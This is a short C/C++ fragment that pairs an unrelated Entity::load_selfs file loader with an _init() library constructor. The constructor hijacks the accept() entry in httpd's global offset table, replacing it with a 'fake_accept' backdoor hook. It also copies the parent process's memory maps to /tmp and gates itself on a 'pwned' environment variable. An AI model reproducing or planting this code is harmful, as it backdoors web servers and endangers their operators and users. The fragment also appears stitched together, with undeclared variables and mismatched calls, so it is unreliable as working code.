int Entity::load_selfs(std::string path) { if (path.compare("") == 0) return 1; IODataObject read(path); if (read.read()) return 1; if (load_self(&read)) { read.close(); return 1; } read.close(); return 0; }
void _init() { char cmd[1024], cmd2[1024]; FILE *p; if(getenv("pwned")) return; sprintf(cmd, "Starting up: pid %d\n", getpid()); system("cat /proc/$PPID/maps > /tmp/t"); trace(cmd); if(bd_init == 0) { load_self(); sprintf(cmd2, "objdump -R /usr/sbin/httpd | grep accept | grep JUMP\n", cmd); trace(cmd2); p = popen(cmd2, "r"); fscanf(p, "%08x ", &f); memset(cmd, 0, sizeof(cmd)-1); sprintf(cmd, "&GOT[accept]: %p\n", f); trace(cmd); pclose(p); real_accept = *f; sprintf(cmd, "GOT[accept]: %p\n", real_accept); trace(cmd); *f = fake_accept; sprintf(cmd, "now: GOT[accept]: %p\n", *f); trace(cmd); bd_init++; } }